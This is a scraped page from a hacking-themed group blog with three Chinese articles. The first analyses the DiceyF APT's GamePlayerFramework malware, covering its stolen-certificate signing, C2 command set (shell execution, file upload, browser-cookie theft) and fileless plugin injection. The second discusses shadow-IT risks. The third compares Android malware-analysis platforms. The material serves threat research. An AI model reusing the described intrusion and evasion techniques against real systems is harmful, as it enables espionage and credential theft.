Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108752

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

1.jpg

在10月6至7日的Hacktivity 2022安全節中，有研究人員介紹了一個針對東南亞網絡賭場開發和運營環境的有趣的APT活動。

研究人員在報告中將這個APT活動稱為“DiceyF”。據報導，攻擊者多年來一直以東南亞的網絡賭場為目標。研究顯示，該活動與LuckyStar PlugX活動有很多相似之處，另外，TTP、安全消息傳遞客戶端濫用、惡意軟件和目標定位表明，這個活動和趨勢科技研究人員在Botconf 2022上討論的Earth Berberoka/GamblingPuppet活動一致。

在目前已發現的DiceyF事件中，還沒有觀察到直接的經濟動機或現金盜竊的證據。相反，TrendMicro研究人員此前報告的事件顯示，客戶PII數據庫被竊取和源代碼被竊取。攻擊者目前的真正的攻擊動機仍然是一個謎。

攻擊行為分析檢測的攻擊行為包括：

PlugX安裝程序由來自安全消息客戶端開發工作室的潛在被盜數字證書籤名；

惡意軟件通過員工監控系統和安全包部署服務分發；

不同的.NET代碼使用相同的潛在被盜證書籤名，並回調到與PlugX C2相同的域；

2021年11月，研究人員在同一個網絡中檢測到多個PlugX加載程序和有效負載，這通常是一個令人厭倦的研究主題。然而，這一次，PlugX安裝程序三元組（PlugX installer triad）通過兩種方式部署為使用合法數字證書籤名的可執行文件——員工監控服務和安全包部署服務。這個合法的數字證書似乎是從一個用於安全消息傳遞客戶端的開發和構建工作室中竊取的。這些PlugX有效負載通過apps.imangolm[.]com與C2通信。不久之後，同樣的安全包部署服務被用於推送GamePlayerFramework下載程序，這些下載程序與相同的C2進行通信，並使用相同的數字證書籤名。

進一步的研究顯示，目標配置文件建議網絡賭場開發工作室，然後在不同的網絡上招募/外包開發系統。NET下載程序部署與PlugX部署同時出現，都是通過相同的數字證書籤署的。

3.png

這些下載程序使用“PuppetLoader”文件路徑維護PDB字符串，這些PuppetLoader字符串非常熟練地將多級加載程序與過去的PuppetLoader下載程序連接起來，只是這一次用c#重新設計和重寫。過去的PuppetLoader是用c++編寫的，維護顯式字符串:

4.png

新的.NET代碼維護著類似的字符串，反映的是幾年前的代碼庫。

5.png

在我們對這些發現進行分析和報告的同時，來自趨勢科技的人員在Botconf會議上報告了GamblingPuppet/Earth Berberoka的研究。我們非常有信心認為這個DiceyF GamePlayerFramework活動是一個新開發的核心惡意軟件集的後續活動。這個新的APT活動，即DiceyF，將之前報告的GamblingPuppet和Operation DRBControl資源和活動進行了重新設計，以下是我們在早期數據中觀察到的活動：

PlugX和PuppetLoader多級加載程序；

東南亞的網絡賭場目標；

缺乏表明財務動機的證據(趨勢科技觀察到DRBControl操作中客戶數據庫和源代碼洩露)；

正在使用的中文語言，特別是GamePlayerFramework錯誤字符串和插件名稱和路徑；

通過後門竊取數據的重點包括擊鍵和剪貼板；

被盜數字證書的再利用；

隱藏安全消息傳遞客戶端作為惡意軟件的傳輸工具和惡意活動的偽裝物；

GamePlayerFramework是前面提到的PuppetLoader c++ /彙編惡意軟件的一個完整的c#重寫。這個“框架”包括下載程序、啟動程序和一組提供遠程訪問和竊取擊鍵和剪貼板數據的插件。更新的(2022年夏季)可執行文件大部分都是用.NET v4.5.1編譯的64位.NET文件，但也有一些是32位或dll文件，用.NET v4.0編譯。這個框架至少有兩個分支，“Tifa”和“Yuna”，並且兩個分支都維護新的模塊，並隨著時間的推移而逐步修改：

D:\Code\Fucker\GamePlayerFramework\Tifa\*.pdb；

C:\Users\fucker\Desktop\Fucker\GamePlayerFramework\Tifa\*.pdb；

D:\Code\Fucker\GamePlayerFramework\Yuna\*.pdb；

奇怪的FinalFantasy代碼遊戲玩家可能熟悉日本Square軟件公司設計的電子遊戲Final Fantasy（最終幻想），其中Tifa和Yuna是其中的兩個主要角色。 Tifa和Yuna分支彼此不同：Tifa分支只包括一個下載程序和一個“核心”模塊，Yuna分支包括下載程序、插件和各種PuppetLoader組件，總共至少有十幾個。即使下載程序之間也有很大的不同。事實上，Yuna.Downloader代碼會隨著時間的推移而發生相當大的變化，包括JSON解析，日誌記錄和加密功能。

Tifa代碼分支於2021年11月首次部署給受害者，這些Tifa下載程序比後來的Yuna下載程序保持了更原始的功能。此外，11月的代碼簽署協調工作似乎沒有很好地組織起來。除了一個已簽名的Tifa可執行文件外，與Yuna下載程序不同，三個Tifa下載程序中的兩個是未簽名的代碼。

最初的Tifa下載程序已經使用了“Mango”和“Mongo”函數名，就像Yuna下載程序中發現的工件一樣，以及前面提到的apps.imangolm[.]com C2植入程序。後來，Yuna下載程序的文件名為“mango.exe”。 Tifa.Downloader變體中的兩個引入了“DownloaderVersion” 字符串，攻擊者可能會在服務器端保持向後兼容性。一些後來的Yuna.Downloader變體增加了功能和復雜性，但是多個早期變體和Tifa分支非常簡單。

加載框架下載和持久化設置完成後，多個組件將加載框架。加載框架的整個過程可以用下圖概括：

7.png

此加載順序導致運行“Launcher”組件。儘管名曰“Launcher”，但此模塊的主要功能是不執行啟動。相反，它是框架的協調器，即它管理所有框架組件。啟動完成後，協調器每20秒向C2服務器發送一次運行報文。每個這樣的數據包都是XOR加密的JSON對象，其中包含以下信息：

1、登錄用戶的用戶名；

2、當前用戶會話狀態(鎖定或解鎖)；

3、剪貼板記錄插件收集的日誌的大小；

4、當前日期和時間；

用15個命令中的一個響應C2，命令名稱、命令參數和描述如下：

1、PluginKeepAlive, KeepAlive，N/A，用最近的C2響應時間更新內部時間戳；

2、PluginDestory [sic]，N/A，關閉框架；

3、GetSystemInfo，N/A，檢索各種系統信息，即：

本地網絡IP地址；

可用權限(系統、管理員或普通用戶)；

用於C2通信的網絡協議(在所有發現的示例中硬編碼到Tcpv4)；

框架版本(格式為yyyymmdd.xx，如20220506.00)；

下載模塊版本；

CPU名稱；

可用內存；

操作系統版本；

已使用的C2服務器地址；

剪貼板記錄器日誌的大小；

安裝安全解決方案；

BIOS序列號；

MAC地址；

機器啟動時間；

4、FastCmd；Command:要執行的命令；允許執行shell命令，這個命令創建一個新的cmd.exe進程，帶有重定向的標準輸入和輸出，並向它發送命令，執行命令的輸出返回到C2服務器；

5、Getdomainsetting，N/A，將配置中指定的C2服務器列表發送到當前C2服務器；6、SetDomainSetting，DomainConfig：新C2服務器的IP地址和端口，通過將新的C2服務器地址寫入C:\ProgramData\NVIDIA\DConfig文件來更新配置中的C2服務器列表；

7、GetRemotePluginInfo，PluginName：已安裝插件的名稱，檢索本地安裝的插件的版本；

8、RunPlugin，PluginName：要啟動的插件名稱，SessionId：要在其中啟動插件的會話ID，從C2服務器下載插件並啟動它；

9、DeleteGuid，N/A，通過創建一個批處理文件從設備上刪除感染，該文件刪除框架安裝程序釋放的所有文件，除了rascustoms.dll，執行刪除後，批處理文件將自我刪除；

10、Fastdownload，FilePath：待上傳文件的路徑，從受害設備上傳文件；

11、Cacheplugin，PluginName：插件名稱，PluginVersion：插件的版本，從C2服務器下載插件，但不啟動它；

12、Installplugin，PluginName：要啟動的插件名稱，WaitForExitTimeout：超時時間間隔，在受害設備上啟動一個插件，等待插件進程完成，在超時的情況下，協調器會阻止插件進程；

13、remoteinject ，SubMsg：等於RunVirtualDesktop或DestoryVirtualDesktop的字符串，啟動（如果SubMsg是RunVirtualDesktop）或停止（如果SubMsg是DestoryVirtualDesktops）VirtualDesktop插件；

14、ChromeCookie，SubMsg：等於RunChromeCookie或GetCookiePath的字符串，如果SubMsg是RunChromeCookie，啟動ChromeCookie插件，如果參數字符串是GetCookiePath，則返回存儲Chrome cookie的路徑；

15、FirefoxCookie，等於RunChromeCookie或GetCookiePath的字符串，如果參數字符串是GetCookiePath，則返回存儲Chrome cookie的路徑。

插件概述插件是執行大多數框架惡意活動的EXE文件。插件可以配置為在框架啟動時從C2服務器下載，或者使用上述命令之一在任何其他時間加載。在執行過程中，插件可以連接到C2服務器並從中接收命令。有關運行插件的信息存儲在C:\ ProgramData \ NVIDIA \ DisplaySessionContainer1.ini文件中。

該框架的所有插件都以無文件的方式存儲。每當從C2服務器下載插件時，都會按照以下過程將其加載到框架中：

1.orchestrator選擇從10000到20000的隨機端口，並在其上啟動本地TCP套接字服務器；

2.orchestrator在掛起模式中創建一個新的svchost.exe進程，並註入在“加載框架”一節中提到的api-ms-win-core-sys- g1 -0-5.dll庫。

3.注入的庫使用以下參數加載PuppetLoader.Downloader組件:帶有插件payload -Port

4.Yuna.PuppetLoader.Downloader組件從本地TCP服務器下載插件可執行文件，並使用Load加載它。

orchestrator組件的字符串引用以下插件名稱：

Plugin.(Acquisition System；

Plugin.Hidden Process；

Plugin.SSH；

Plugin.General Purpose Plugin；

Plugin.SessionCmd；

Plugin.Port Forwarding；

Plugin.Screen Transfer；

Plugin.Virtual Desktop；

Plugin.Clipboard；

Plugin.ChromeCookie；

Plugin.FirefoxCookie；

在跟踪GamePlayerFramework的部署時，我們注意到上面列出的幾個插件正在被使用：通用插件、剪貼板和虛擬桌面。

帶有圖形界面的惡意應用程序通過安全解決方案安裝包部署的應用程序旨在模仿同步芒果消息應用程序數據的應用程序。以下是此應用程序啟動時顯示給受害者的窗口：

9.png

惡意“芒果員工賬戶數據同步器” 窗口

為了使受害用戶信任惡意窗口，攻擊者採用了社會工程技術。從上面的截圖可以看出，這些信息包括受害組織的名稱，甚至包括該組織IT部門所在的樓層。同時，可見窗口使該應用程序對安全解決方案的可疑性降低。

啟動時，此應用程序會進行如下操作：

通過TCP套接字連接到C2服務器，服務器的地址和端口在二進製文件中指定。如果連接失敗，應用程序將顯示帶有“無法連接到芒果員工數據同步服務器！請反饋至其他部門！”字樣。

向C2服務器發送以下信息：

安裝的芒果信使版本；

設備名稱；

當前用戶名；

操作系統版本；

本地IPv4地址列表；

接收一個包含名為IsErrorMachine的布爾值的JSON對象。如果設置為true，則應用程序將顯示一個包含“尚未認證的設備，請到10樓的it部添加設備認證”文本的消息窗口並退出；

啟動與應用程序位於同一目錄中的exe可執行文件，這個文件的內部名稱是Yuna.Downloader。

代碼處於持續的增量變化中，它的版本控制反映了對代碼庫修改的半專業管理。隨著時間的推移，該團隊增加了對Newtonsoft JSON庫的支持，增強了日誌記錄和日誌加密。

基礎設施10.png

如上所述，許多早期植入(包括PlugX和下載程序)的通信活動通過為位於東南亞的基礎設施解析FQDN來回調基礎設施。到2022年4月，有些Yuna.Downloader開始直接與一個硬編碼的IP地址通信。

總結DiceyF活動的ttp和很多惡意活動都存在相似之處，該組織會隨著時間的推移修改他們的代碼庫，並在整個攻擊過程中開發代碼中的功能。

GamePlayerFramework使DiceyF背後的攻擊者能夠以某種程度的隱身方式執行網絡間諜活動。初始感染方法是值得注意的，因為該框架是通過安全解決方案控制中心部署的安裝包進行傳播的。此外，該框架的組件使用數字證書進行簽名，這使得安全解決方案更信任該框架。為了進一步偽裝惡意組件，攻擊者為其中一些組件添加了圖形界面。這種惡意植入被偽裝成在受害組織中使用的信使組件。為了確保受害者不會對偽裝的植入物產生懷疑，攻擊者獲取了目標組織的信息(例如該組織IT部門所在的樓層)，並將其包含在顯示給受害者的圖形窗口中。他們還使用了服務名稱、文件路徑、數字簽名證書和來自NVIDIA、Mango和其他正版軟件的其他構件。 GamePlayerFramework的插件允許對受害機器進行全面的監視。例如，他們能夠監視擊鍵和剪貼板，瀏覽位於組織本地網絡內的網站，或建立虛擬桌面會話。在近幾個月的時間裡，DiceyF開發人員增加了更多的加密功能，以更好地隱藏他們的日誌記錄和監控活動。在未來，我們期望看到插件數量的增加，並觀察到在這個框架中更多不尋常的防禦規避方法。

HireHackking

使用未經批准的軟件和硬件通常會使組織的整個網絡面臨風險。系統管理員應該發現和管理影子IT 元素，但這樣做變得越來越具有挑戰性。根據ManageEngine的2021 年數字就緒調查，到2021 年，只有22% 的組織需要徵得IT 團隊的批准才能購買任何應用程序。

雲服務的廣泛採用和切換到遠程工作使用戶可以輕鬆部署他們選擇的軟件。 IT 團隊必須適應這一新現實，並找到發現、管理影子IT 甚至從中受益的新方法。

在本文中，我們將了解影子IT 的主要安全挑戰、它與業務主導的IT 有何不同，以及可以採取哪些措施來檢測和減輕影子IT 的風險。本文對希望保護其組織的網絡免受影子IT 影響的項目負責人和CIO 很有用。

躲在陰影裡什麼是影子IT？基本上，它是未經公司IT 部門批准而部署和使用的任何IT 系統、硬件或應用程序。在某些情況下，包括手機和USB 設備在內的個人設備也可能被視為影子IT 的一部分。影子IT 最常見的例子是流行的雲服務，如Dropbox 和Salesforce，以及常用的信使，如Slack 和WhatsApp。

人們轉向影子IT 的最常見原因是：

image.png

為什麼用戶轉向影子IT

儘管影子IT 通常看起來對最終用戶有幫助，但它對企業構成了嚴重威脅。主要威脅隱藏在它的不負責任中——你無法有效地管理你甚至不知道存在的東西。結果，整個網絡的安全和性能都面臨風險。

讓我們看看影子IT 風險是什麼：

image.png

影子IT 如何損害組織

马云惹不起马云 不受管理的安全漏洞。未經IT 部門批准的軟件可能存在未修補的漏洞、安全錯誤、易受攻擊的庫等。此類軟件會產生許多漏洞，黑客可能會利用這些漏洞來破壞系統和竊取敏感的業務信息。由於IT 管理員不知道這些漏洞，他們無法管理影子IT 的安全風險。

马云惹不起马云 數據丟失。 IT 部門無法為他們不知道網絡中存在的軟件和數據創建備份，而影子IT 用戶通常不認為（或不知道）備份是必要的。因此，始終存在丟失敏感數據的重大風險。

马云惹不起马云 數據和資源孤島。企業通常有一種使用批准的解決方案來處理和存儲其數據的方法。然而，用戶使用影子解決方案創建自己的數據管理系統，這些解決方案會消耗額外的資源來維護和存儲額外的數據記錄，從而形成數據孤島。

马云惹不起马云 IT 成本增加。如果員工更喜歡使用未經批准的軟件和設備，則意味著組織在IT 方面的投資沒有回報，並且有更好的方式來使用這些資金。

马云惹不起马云 合規問題。大多數企業都有他們需要遵守的各種法規、法律和行業標準。非託管軟件的存在使公司更難滿足合規性要求。不合規可能導致數據洩露、代價高昂的處罰和客戶流失。

儘管影子IT 會帶來很多風險，但組織仍然可以從未經批准的軟件中獲益。讓我們在下一節中討論您的組織如何扭轉局面。

您如何從影子IT 中獲益？影子IT 的出現表明員工發現批准的解決方案效率低下、不舒服，或兩者兼而有之。影子解決方案比已經部署的工具更俱生產力和成本效益。隨著雲服務的大規模採用，您不可能控制所有影子IT。但是您可以通過將其轉變為業務主導的IT 從中受益。

業務主導的IT是一種IT 管理方法，允許員工在沒有IT 部門批准的情況下使用他們需要的軟件和硬件。員工只需將他們選擇使用的產品通知IT 管理員。

轉向以業務為主導的IT 可為組織帶來以下好處：

image.png

業務主導的IT 有哪些好處

儘管以業務為主導的方法有很多好處，但它並沒有消除影子IT 活動的主要風險：數據丟失的可能性和未知的安全漏洞。此外，請記住，以業務為主導的IT 的成功依賴於用戶的開放性和安全意識。如果用戶不報告影子軟件，IT 部門可能永遠不會知道它。

40% 的IT 專業人士承認，儘管存在風險，他們自己也會使用未經批准的技術。

Entrust 公佈的影子IT 的好處報告

即使您決定為您的企業採用以業務為主導的IT，您仍然需要知道您的網絡中是否有未說明的應用程序和設備。在下一節中，我們將討論用於檢測和減輕影子IT 安全風險的流行解決方案。

揭開影子IT 的面紗處理未經批准的軟件和雲應用程序有四種主要方法。選擇哪一個取決於您組織的管理風格和可用資源。讓我們來看看每個選項：

image.png

管理影子IT 的4 種方法

1. 部署影子IT 發現和管理解決方案您可以使用IT 資產管理(ITAM) 系統檢測影子IT 。這些系統收集在您組織的網絡中運行的硬件和軟件的詳細清單。根據這些信息，您可以分析不同資產的使用情況。

選擇或構建自定義ITAM 軟件時，請注意以下四個參數：

image.pngIT資產管理軟件關鍵參數

ITAM 解決方案分為三種類型：

马云惹不起马云 當您需要從遠程端點或不經常連接到網絡的設備（例如筆記本電腦）收集庫存信息時，基於代理的解決方案非常適用。

马云惹不起马云 無代理工具最適合對關鍵資產執行非侵入式監控和分析。

马云惹不起马云 基於雲的IT 資產庫存系統用於監控和審計雲解決方案的使用。一個示例是雲訪問安全代理(CASB)。

CASB是發現雲中影子IT 風險的流行工具。他們可以通過分析來自防火牆、代理和端點的日誌來識別正在使用的雲服務和應用程序。這些解決方案提供了關於哪些設備連接到網絡以及誰可以訪問敏感數據並將其存儲在雲中的高度可見性。

一些CASB 還提供了將業務主導的IT 中使用的雲服務置於只讀模式的機會。這樣，用戶仍然可以查看這些應用程序的內容，但不能向其中添加數據。

要使用資產管理軟件和訪問CASB 覆蓋您企業的所有網絡，您可能需要部署多個解決方案並將它們相互集成以及與您現有的IT 系統集成。

2.使用默認的雲服務大型雲服務提供商(CSP) 提供額外的解決方案來檢測和管理雲中的影子IT。它們對於將所有網絡部署在一個或多個雲中的組織很有用。

image.png

默認影子IT 發現服務

Microsoft Defender for Cloud Apps是一項用於監視和審核雲服務使用情況的服務。它可以發現公司雲環境中的應用程序、文件和用戶，包括與其連接的第三方應用程序。

Microsoft Azure 在其高級版中有一個基於代理的Azure Active Directory Cloud Discovery工具。該代理捕獲HTTP/HTTPS 連接的標頭、URL 和元數據等數據，以發現組織內使用的雲應用程序，識別使用它們的人員，並提供詳細信息以供進一步分析。

Amazon Web Services (AWS) 提供兩種類似的服務——AWS Cloud Discovery和AWS Application Discovery Service。它們幫助用戶發現AWS 環境中的賬戶、應用程序、數據中心和實例之間的關係。這兩種服務都可以在小型網絡中免費使用。

3. 將您的安全工作重點放在數據保護上歸根結底，我們要保護的是敏感數據，使其免受影子IT 帶來的風險。您無需發現網絡中影子IT 的所有元素，而是可以專注於數據監控和保護。這樣，無論您的用戶訪問敏感信息的方式如何，您都將監控與數據的所有交互。

以下是您可以採用的關鍵數據保護做法：

image.png

如何保護您的數據免受影子IT 的風險

確保數據保留。企業存儲的大多數記錄都有有效期；換句話說，該組織必須將這些記錄保存一段時間。存儲期限通常由網絡安全標準和法規以及公司特定的操作來定義。數據保留策略有助於統一、分類和管理敏感數據，並定義其存儲和處置規則。

有了這個政策，您可以將網絡安全工作集中在保護您的組織真正需要的記錄上。此外，您還可以通過減少敏感記錄的數量來降低數據洩露的風險。

加密敏感數據。加密靜態和傳輸中的記錄可以確保敏感數據在上傳到影子軟件或洩露時是安全的。要與加密數據交互，用戶需要公鑰或對稱密鑰以及解密算法。

最常見的數據加密協議是AES、TLS/SSL 和RSA。它們提供足夠級別的保護，同時不會花費太長時間來加密數據。

管理用戶對數據的訪問。影子IT 造成的安全漏洞可能成為黑客的切入點，除非您有適當的訪問控制系統，否則他們可以滲透您的網絡並竊取敏感數據。這樣的系統定義了哪些用戶可以與哪些資源交互，並拒絕所有其他用戶的訪問請求。

訪問控制系統通常包括身份驗證服務，例如用於驗證用戶身份的多因素身份驗證。多因素身份驗證有助於安全系統在提供訪問權限之前通過憑據、生物特徵或通過智能手機進行的額外確認來積極識別用戶。

跟踪所有數據移動。由於影子IT 意味著將數據移動到未經批准的服務和軟件，因此能夠監控和跟踪所有敏感記錄非常重要。數據丟失防護軟件可以幫助您完成這項任務。

了解敏感數據的存儲位置、管理方式以及何時將其傳輸到受保護範圍之外，就無需發現所有影子IT 元素。相反，您可以專注於數據移動並配置規則以自動阻止受保護環境之外的傳輸。

4. 實施DevOps 方法DevOps是一種將軟件開發和運營實踐結合到一個簡化流程中的方法。它使企業能夠提高生產力，減少整合新解決方案所需的時間，並打破開發、測試和運營之間的孤島。

DevOps 方法可幫助組織在軟件開發期間構建用於持續集成和持續交付(CI/CD) 的管道，並確保該管道僅包含有用的軟件、工具和服務。

採用DevOps 來減少影子IT 有幾個主要好處：

image.png

DevOps 如何減輕影子IT

由於DevOps 可以更快地響應最終用戶的請求，並幫助公司輕鬆有效地實施新的解決方案，因此這種方法可以被視為解決影子IT 問題的最有效方法之一。

DevOps使最終用戶更容易正式實施更好更快地完成工作所需的新軟件和技術，從而消除了使用影子IT的需要。採用DevOps 的組織可以將影子IT 轉變為其IT 基礎架構的一部分，而不會影響性能或安全性。

請記住，只有當整個企業都採用這種方法時，DevOps 才能減少影子IT 的出現。否則，未採用DevOps 的團隊可能會創建更多影子IT 元素以跟上面向DevOps 的團隊。

結論使用非託管軟件和雲服務可能會危及公司網絡的安全性並造成性能和合規性問題，從而對任何公司構成嚴重威脅。至少有三種方法可以解決這個問題：通過實施有效的IT 資產庫存和管理系統、專注於數據保護或轉向DevOps。

HireHackking

前言本文主要以各家威脅情報中心/在線沙箱在安卓惡意代碼自動化分析能力與基於逆向引擎Reactor 所研發incinerator 逆向工具進行分析能力的對比，從而讓大家更加清晰直觀的了解到彼此之間的區別，文章所測試的威脅情報中心均為公開版本（免費），並不代表各個能力平台的實際狀態，不以偏概全。

測試平台列表如下：

360 威脅情報中心（包括其沙箱）

安恒威脅分析平台（包括其沙箱）

安天威脅情報中心

綠盟科技NTI 威脅情報中心（包括其沙箱）

啟明星辰VenusEye 威脅情報中心

奇安信威脅情報中心（包括其沙箱）

天際網盟RedQueen 安全智能服務平台

微步在線惡意軟件分析平台（包括其沙箱）

VirusTotal（包括其沙箱）

測試惡意代碼樣本如下：

樣本名稱：ERMAC

哈希值

MD5:16e991d73049f1ef5b8f5fa0c075ef05

SHA-256:f4ebdcef8643dbffe8de312cb47c1f94118e6481a4faf4166badfd98a0a9c5d3

ERMAC 是由BlackRock 移動惡意軟件背後的攻擊者操作的。 8 月17 日，名為“ermac”和“DukeEugene”的論壇成員開始宣傳該惡意軟件。 ERMAC 和其他銀行惡意軟件一樣，被設計用來竊取聯繫信息、短信、打開任意應用程序，並觸發針對大量金融應用程序的覆蓋攻擊，以刷取登錄憑據。此外，它還開發了新功能，允許惡意軟件清除特定應用程序的緩存並竊取存儲在設備上的帳戶。

摘自安恒威脅情報平台

樣本名稱：FurBall

哈希值

MD5:6151b1e2e5035a8eb596ce1c37565e87

SHA-256:0d09d5e46e779d796a8d295043e5bbd90ac43705fa7ff7953faa5d8370840f93

Domestic Kitten，也稱APT-C-50，據稱是伊朗的一個黑客組織，主要是從受損的移動設備獲取敏感信息，至少從2016 年起，就一直非常活躍。 趨勢科技（Trend Micro）在2019 年一項分析報告中表示，APT-C-50 可能與另一個名為“彈跳高爾夫”（Bouncing Golf）的黑客組織有聯繫。 （Bouncing Golf 主要針對中東國家進行網絡間諜活動）。

摘自Freebuf

橫向分析對比本文將會從安卓惡意代碼分析的多個維度進行相關分析對比，鑑於部分平台不存在基於安卓的雲沙箱功能（或併未在公開/免費版本出現），所以對比的結果基於各個平台呈現的相關靜態化分析數據進行橫向對比。而LianSecurity（鏈安科技）的incinerator 作為一個綜合性Apk 逆向工程產品，並不帶有任何基於惡意代碼特徵庫、威脅情報源、沙箱等功能，所以橫向分析對比內容僅僅基於incinerator 的Apk 靜態分析能力。

鑑於我們在進行相關能力對比的時候，要有一個比較具象化的理解，究竟什麼叫好呢？或者說什麼樣的分析能力所呈現出來的分析報告會更加適合惡意代碼和威脅溯源的研究之用呢？所以我們選擇了一個比較得到大家公認的“VirusTotal”，以VirusTotal 的分析報告來看各自在安卓惡意代碼分析上面的細節以及顆粒度究竟是如何的。

VT.png

圖1

從兩個樣本的靜態化分析結果來看（如圖1 左右所示），VT 對於Apk 各項信息的檢測以及呈現都是非常完善的，能夠準確的分析出樣本當中的所有關鍵信息，作為惡意代碼分析以及威脅溯源的角度來說，首先，一個專業的分析服務能夠精準詳細的把以下羅列清楚的情況下，我認為這已經是一份優秀的分析報告。

Apk 基礎信息

HASH

TrID

文件大小等

Apk 包名以及相關的信息

Apk 名稱

Apk 簽名信息

Apk 應用權限分析

風險等級劃分以及排列

Apk 行為分析

Apk 應用網絡請求

Apk 軟件成分分析

所以，接下來我們會以VT 的報告所呈現的，一一對於上面所提到的廠商進行分析能力的橫向對比，從而深度的去了解現在國內在這方面的發展以及相關技術是如何的。

360 威脅情報中心c00ad03bc0eda1664d568e8baf2f1ce5

圖2

很可惜，我們從樣本1 與樣本2（如圖2 上下所示）的分析內容我們可以得知，360 的分析報告裡面只顯示樣本的HASH、包名以及對應的IOC 信息，而對於樣本的應用行為、應用權限、網絡請求、成分分析都沒有，並且動態分析也完全沒有的，對於惡意代碼以及威脅情報研究來說，360 威脅情報中心的呈現幾乎沒有什麼幫助的。

注：360 安全大腦沙箱雲檢測失敗，Android 部分需要相關的積分以及收費，所以就此作罷。

安恒威脅分析平台

:51ddad030efac39e354040cdbf138cd4

圖3

安恆在兩個樣本的分析上（如圖3 上下所示），與360 一樣能夠準確判斷出樣本的家族以及相關的歸屬，並且安恆在基礎信息方面增加了關於樣本的Hexdump，使得樣本基礎信息部分看似很豐滿，但是作為靜態分析結果來講，Hexdump 既不是一個總結性的結果呈現，也不能給分析人員任何定性的信息，不應該呈現在這裡。可能是因為免費/公開版本，動態分析部分並沒有任何的資料，但依然是基於惡意代碼以及威脅情報研究來說幫助微乎其微的，和360 所呈現的信息基本相同。

安天威脅情報中心5ce0891288b4e9a0087d778ecacc819d

圖4

我們所抽樣的樣本哈希提交到安天威脅情報中心後（如圖4 所示），顯示的檢測結果是為空。所以也無法對於安天威脅情報中心的安卓分析能力進行任何的對比分析了，估計是安天威脅情報中心沒有樣本數據，但是武漢安天的殺毒引擎是可以正確識別出樣本為惡意代碼的。

綠盟NTI - 威脅情報中心437a8adb7bccf10c616e4c348a8b21cd

圖5

綠盟科技NTI-威脅情報中心在基於ERMAC 樣本分析能夠顯示對應的HASH 信息（如圖5 所示），除此以外什麼都沒有了，而基於APT-C50 的樣本分析是並沒有任何數據顯示的，與安天威脅情報中心一樣，應該是他們沒有對應的樣本記錄，當我們改為威脅分析中心並提交樣本進行分析後，看到分析中心對於兩個樣本都進行有效的檢測，其中哈希值為“16e991d73049f1ef5b8f5fa0c075ef05”的樣本呈現出相關的基礎信息（樣本哈希、元數據）並沒有任何靜態分析報告，而哈希值為“6151b1e2e5035a8eb596ce1c37565e87”的樣本，基礎信息呈現上比較簡單，殺毒引擎檢測沒有結果、分析結果採用的是綠盟自己的檢測策略，與常見的檢測呈現不一樣，比較雜亂，所以需要一定學習才可以比較明白。

VenusEye 威脅情報中心cd444bd07ed693df69963af82fc8958c

圖6

VenusEye 基於樣本1（如圖6 上所示）的基礎信息呈現較為完整，也是屬於比較弱化的，沒有任何靜態化分析可言，而基於樣本2（如圖6 下所示）來說，VenusEye 並沒有對應的數據。

奇安信威脅情報中心f4c64f95543f1d918c18cfb3f9f35296

圖7

國內這麼多家威脅情報中心或者沙箱檢測的細節程度來說，從樣本2（如圖7 下所示）的威脅研判分析來看，因為有了沙箱檢測的完整補充，使得整體的分析詳細程度非常完整，奇安信無疑是國內廠商提供公開可以查閱的威脅情報中心/沙箱的天花板，而樣本1（如圖7 上所示）的分析來看，我們提交測試很多次，不管是以登陸/非登陸狀態下，沙箱檢測永遠都是檢測中的狀態，不知道是不是出現卡死的情況，所以樣本1 從純靜態化的狀態與其他廠商並無太大的區別。

天際網盟RedQueen 89b6c3b8317556ccd76baffca6a3eb53

圖8

天際網盟RedQueen 基於樣本1（如圖8 所示）的哈希值並無數據，並且無法上傳樣本進行測試，而基於樣本2 的哈希值查詢後，發現有相關數據記錄，基礎信息與其廠商大同小異，而其餘的信息並無。

微步在線惡意軟件分析平台28c784351bf7026820bf9f27062b1ca7

圖9

在眾多國內威脅情報中心/沙箱的廠商裡面，微步在線曾經是唯一一家能夠準確識別出樣本1（如圖9 左所示）該惡意代碼的家族，但是當我重跑多次樣本1 去獲取最新檢測報告之後，它的家族檢測就開始改變了，這個讓我覺得疑惑的，並且從檢測報告來看（如圖9 右所示），檢測的邏輯問題也很多，例如：

沙箱環境是Win7+Office2013

多維檢測與檢測樣本無關

多引擎檢測結果不准確

當我在上傳樣本進行檢測時，上傳的文件格式並沒有Apk 可選，所以只能夠以其識別的壓縮文件格式進行上傳，並且沙箱的環境注定了對於安卓應用是無法解釋的，而在基於沙箱環境下的多維檢測Sigma 規則是完完全全的誤報，在多引擎檢測結果裡面，微步在線顯示“基於2022-10-29 19:36:04 的時間狀態下，只有三個殺毒引擎發現該樣本為惡意代碼”，但是從多方數據來看，微步在線所顯示並未檢測惡意代碼的引擎當中，早已可識別樣本1 為惡意代碼，例如卡巴斯基之類、小紅傘、DrWeb。

而從樣本基礎信息的數據來看，在沒有任何的沙箱檢測下，微步在線的檢測結果比起奇安信的要好，樣本的基礎信息、元數據、權限分析之類的都是有的，但是對於需要看著報告的研究人員來說，報告很明顯在呈現上並沒有考慮太多這種需求，特別是如果在沒有IOC、殺毒引擎之類的輔助數據支撐下，不管是流行的ERMAC 還是隱秘性更高的APT 樣本都會出現很嚴重的漏報的情況出現。

基於incinerator 的Apk 基礎檢測能力incinerator 作為一款國產自主的安卓Apk 逆向工具分析工具，用來與威脅情報、惡意代碼分析平台或者動態沙箱進行對比，在任何人眼中看起來都很好笑，而我們要對比的僅僅是incinerator 在Apk 分析時，呈現給用戶的基礎信息（如圖10 所示），當我們要進行Apk 分析的時候，incinerator 會通過自主研發的高效準確的逆向技術，首先會對Apk 進行全面基礎分析，分析結果包含了包名、HASH、簽名等基礎信息（如圖11 所示），再通過靜態單賦值與交叉引用結合找出全流程執行路徑, 並對應用行為進行源碼級深度檢測，以及權限進行分類標註，突出強調高危和敏感權限，檢查應用內網絡請求以及目標地址特徵信息， 抽取依賴庫指紋信息分析軟件成分組成。

Apk 基礎信息呈現

92e9ad4d434f4597e5360b25e7578d07

圖10

簽名信息

634a49f3b0bf609d049690bbc3bfaf6b

圖11

權限信息

d529e3328c3f5a93f7ca960a8775ba7d

圖12

上圖是樣本1 ERMAC 中抽取的部分權限信息（如圖12 所示），可以看到incinerator 對權限進行了詳細的檢測以及分類，對於Apk 進行申請“短信發送”、“撥打電話”等權限聲明都標註了高危。

